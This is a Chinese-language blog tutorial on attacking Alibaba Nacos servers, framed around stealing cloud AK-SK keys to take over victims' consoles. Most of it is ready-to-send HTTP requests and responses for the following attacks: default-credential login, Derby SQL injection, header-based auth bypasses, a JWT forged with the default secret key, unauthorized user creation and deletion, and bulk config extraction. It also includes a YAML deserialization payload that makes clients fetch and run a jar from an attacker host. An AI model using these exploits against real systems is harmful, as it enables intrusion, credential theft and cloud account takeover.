目 录CONTENT

文章目录

Alibaba Nacos漏洞

Administrator
2024-05-20 / 0 评论 / 0 点赞 / 33 阅读 / 0 字

Alibaba Nacos漏洞

image-osse.pngNacos(官方网站:nacos.io)是一个易于使用的平台,专为动态服务发现、配置和服务管理而设计。它可以帮助您轻松构建云原生应用程序和微服务平台。

Nacos 提供了四大功能。

服务发现和服务健康检查

  • Nacos 使服务可以轻松注册自身并通过 DNS 或 HTTP 接口发现其他服务。 Nacos还提供服务的实时健康检查,以防止向不健康的主机或服务实例发送请求。

动态配置管理

  • 动态配置服务允许您在所有环境中以集中、动态的方式管理所有服务的配置。 Nacos 无需在配置更新时重新部署应用和服务,使得配置变更更加高效、敏捷。

动态域名解析服务

  • Nacos支持加权路由,使您可以更轻松地在数据中心的生产环境中实现中间层负载均衡、灵活的路由策略、流量控制和简单的DNS解析服务。它可以帮助您轻松实现基于 DNS 的服务发现,并防止应用程序耦合到特定于供应商的服务发现 API。

服务和元数据管理

  • Nacos 提供了易于使用的服务仪表板,帮助您管理服务元数据、配置、kubernetes DNS、服务运行状况和指标统计。

Nacos 电子书

https://nacos.io/docs/ebook/kbyo6n/

image-jntx.png

下面是如何通过利用nacos来进行渗透滴教程

一般情况下,Nacos装载一些配置文件(Spring,[Mysql Mssql [一般是内网连接的],AK-SK)

主要是这个AK-SK

很多厂商,他们自己并没有服务器,他们都是使用的云服务器。而我们拿到AK-SK的话,就可以接管控制台(云服务器和OSS对象存储)

Nacos Console 默认口令漏洞

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODUwMTk2OH0.BW7VtszIlf_INQfnUjheqjavWKBhi1xn2M8bKonAgXQ","tokenTtl":18000,"globalAdmin":true}

发包POST

POST /nacos/v1/auth/users/login HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Host: 192.168.100.132:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 29
Connection: close

username=nacos&password=nacos

回包

HTTP/1.1 200 
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODUwMjMwNH0.Juhkg_KmH1V2_t7j1-QluG-c7OF4prq7lr5J_6fjvjQ
Content-Type: application/json;charset=UTF-8
Date: Sat, 15 Jun 2024 20:45:04 GMT
Connection: close
Content-Length: 162

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODUwMjMwNH0.Juhkg_KmH1V2_t7j1-QluG-c7OF4prq7lr5J_6fjvjQ","tokenTtl":18000,"globalAdmin":true}

Nacos Derby SQL 注入漏洞(CNVD-2020-67618)

config server中有个接口,没有做任何的鉴权,即可执行sql语句,可以泄漏全部数据

影响版本: 与Nacos版本无关,看是否使用了内置的Derby数据库

修复方案: 对接口接口鉴权, 修改 nacos的application.properties配置文件nacos.core.auth.enabled=true,开启服务身份识别功能

github提交的issues

https://github.com/alibaba/nacos/issues/4463

derby?sql=sql语句

GET /nacos/v1/cs/ops/derby?sql=select * from users HTTP/1.1

发包

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Host: 192.168.100.132:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

回包

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Sat, 15 Jun 2024 20:45:04 GMT
Connection: close
Content-Length: 146

{"code":200,"message":null,"data":[{"USERNAME":"nacos","PASSWORD":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu","ENABLED":true}]}

Nacos User-Agent 权限绕过漏洞(CVE-2021-29441)

在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。

影响版本: Nacos <= 2.0.0-ALPHA.1

推荐使用插 件ModHeader来让浏览器一直使用Nacos-Server作为UA头

User-Agent: Nacos-Server

发包

DELETE /nacos/v1/auth/users HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Nacos-Server
Host: 192.168.100.132:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 37
Connection: close

username=SEC_Explorer&password=123456

回包

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Sat, 15 Jun 2024 20:45:04 GMT
Connection: close
Content-Length: 52

{"code":200,"message":"delete user ok!","data":null}

Nacos serverIdentity 权限绕过漏洞

Header中添加serverIdentity: security能直接绕过身份验证

影响版本: Nacos <= 2.2.0

serverIdentity: security

发包

DELETE /nacos/v1/auth/users HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
serverIdentity: security
Host: 192.168.100.132:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 37
Connection: close

username=SEC_Explorer&password=123456

回包

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Sat, 15 Jun 2024 20:45:04 GMT
Connection: close
Content-Length: 52

{"code":200,"message":"delete user ok!","data":null}

Nacos token.secret.key 默认配置漏洞(QVD-2023-6271)

Nacos 中存在身份认证绕过漏洞,在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台

影响版本: 0.1.0 <= Nacos <= 2.2.0

修复方案: 将application.properties文件中token.secret.key默认值进行更改

GET /nacos/v1/console/server/state HTTP/1.1

使用默认secret.key认证

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q

DELETE /nacos/v1/auth/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Host: 192.168.100.132:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 37
Connection: close

username=SEC_Explorer&password=123456

Nacos-Client Yaml 反序列化漏洞

漏洞描述: 在Nacos的渗透测试的过程中, 如果获取到了控制台的权限, 可以尝试去修改yaml配置去进行盲打客户端, 导致客户端的命令执行。该漏洞只影响单独使用 nacos-client SDK的用户, 原因在于spring cloud、springboot、dubbo等框架中并非使用的 AbstractConfigChangeListener监听配置, 所以该漏洞只影响了使用AbstractConfigChangeListener监听配置的客户端。

影响版本: Nacos-Client < 1.4.2

修复方案: 升级Nacos-Clinent版本, 在1.4.2版本中已修复了该漏洞

需要结合accessToken和yaml-payload.jar使用

yaml-payload.jar下载链接

http://artsploit.com/yaml-payload.jar

在目录下启动http服务

GET /nacos/v1/cs/configs?show=all&dataId=test&group=DEFAULT_GROUP&accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q HTTP/1.1

POST /nacos/v1/cs/configs?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.00LxfkpzYpdVeojTfqMhtpPvNidpNcDoLU90MnHzA8Q HTTP/1.1
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/x-www-form-urlencoded
Host: 192.168.100.132:8848
Content-Length: 353
Connection: close

dataId=test&group=DEFAULT_GROUP&content=%21%21javax.script.ScriptEngineManager+%5B%0A++%21%21java.net.URLClassLoader+%5B%5B%0A++++%21%21java.net.URL+%5B%22http%3A%2F%2F192.168.100.131%3A9000%2Fyaml-payload.jar%22%5D%0A++%5D%5D%0A%5D&appName=&desc=&type=yaml&id=&md5=&tenant=&createTime=&modifyTime=&createUser=&createIp=&use=&effect=&schema=&configTags=

dataId=test&group=DEFAULT_GROUP&content=!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.100.131:9000/yaml-payload.jar"]
  ]]
]&appName=&desc=&type=yaml&id=&md5=&tenant=&createTime=&modifyTime=&createUser=&createIp=&use=&effect=&schema=&configTags=

这里第二个包没获取到值,靶机有问题

id="776180592281219072"&dataId="test"&group="DEFAULT_GROUP"&content="!!javax.script.ScriptEngineManager [\n  !!java.net.URLClassLoader [[\n    !!java.net.URL [\"http://192.168.100.131:9000/yaml-payload.jar\"]\n  ]]\n]"&md5="30282d1c46dcf8e9eed261d401f9bf02"&tenant=""&appName=""&type="yaml"&createTime=1718486128111&modifyTime=1718486128111&createUser=null&createIp="192.168.100.131"&desc=""&use=""&effect=""&schema=""&configTags=null

Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)

暂无

提取配置

先获取空间名称

GET /nacos/v1/console/namespaces HTTP/1.1

再使用tenant=管理名称来提取内容

第一个空间默认没有tenant名称

GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=100&tenant=&search=accurate HTTP/1.1

content=内容是配置的值

第二个空间private内tenant管理名称

tenant=c4994b51-f89e-45c1-9d9e-a4cdc4c9babf

GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=100&tenant=c4994b51-f89e-45c1-9d9e-a4cdc4c9babf&search=accurate HTTP/1.1

content=内容是配置的值

======================================================

old

www.test.com:8848/nacos

未授权查看用户列表

http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

直接get方式访问该路径会403,
将user-agent头修改为Nacos-Server即可绕过403。

有些可以直接访问,有些需要改UA头

此时看到响应包中包含了系统存在的用户名nacos,密码为加盐之后的值。

未授权创建或修改用户

GET方法

http://192.168.1.1:8848/nacos/v1/auth/users?username=test111&password=test111

{"code":200,"message":null,"data":"create user ok!"}

============================================================

POST方法

访问  http://ip:8848/nacos/v1/auth/users

POST传参:username=abcabc&password=abcabc

如果出现403,别忘了修改User-Agent头为Nacos-Server

发送POST请求

{"code": 200,"message": null,"data": "create user ok!"}

返回响应200,创建用户成功

回显caused: Parameter conditions

caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%

缺少search=blur或者search=accurate

那就试一下下面这个两个

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur

-H 'User-Agent: Nacos-Server'

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

-H 'User-Agent: Nacos-Server'

任意用户密码更改

http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=

-H 'User-Agent:Nacos-Server' 

username=test111&newPassword=test222

未开启auth

由于默认是不开auth的,所以我们先来讨论未开启auth的情况。

读取用户账号密码

http://192.168.1.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

 未授权添加用户

http://192.168.1.1:8848/nacos/v1/auth/users?username=test1&password=test1

{"code":200,"message":null,"data":"create user ok!"}

任意用户密码更改

http://192.168.1.1:8848/nacos/v1/auth/users?accessToken=

-H 'User-Agent:Nacos-Server'

-d 'username=test1&newPassword=test2'

获取配置数据

需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。

http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos

够获取全部的配置文件

http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99

http://192.168.1.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

获取其他Namespace的配置数据

http://192.168.1.1:8848/nacos/v1/console/namespaces

直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间

这时已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据

http://192.168.1.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace

查看现在存在几个用户

访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

http://ip:8848:指明了要请求的目标IP地址和端口号;

/nacos/v1/auth/users:指明了要访问的Nacos API接口路径;

pageNo=1&pageSize=9:指定了分页查询条件。

pageNo:表示需要返回的页码,从 1 开始计数。例如,如果想要返回第 2 页的数据,则将 pageNo 设置为 2。

pageSize:表示每一页的数据条数。例如,如果想要每页返回 20 条数据,则将 pageSize 设置为 20。

OK,

刚刚创建的abcabc用户已经存在了。

更多方法

https://blog.csdn.net/m0_73353130/article/details/131786333

https://blog.csdn.net/moresec/article/details/135553850

工具下载

https://github.com/c0olw/NacosRce

yaml-payload.jar下载链接

http://artsploit.com/yaml-payload.jar

-.-

0

评论区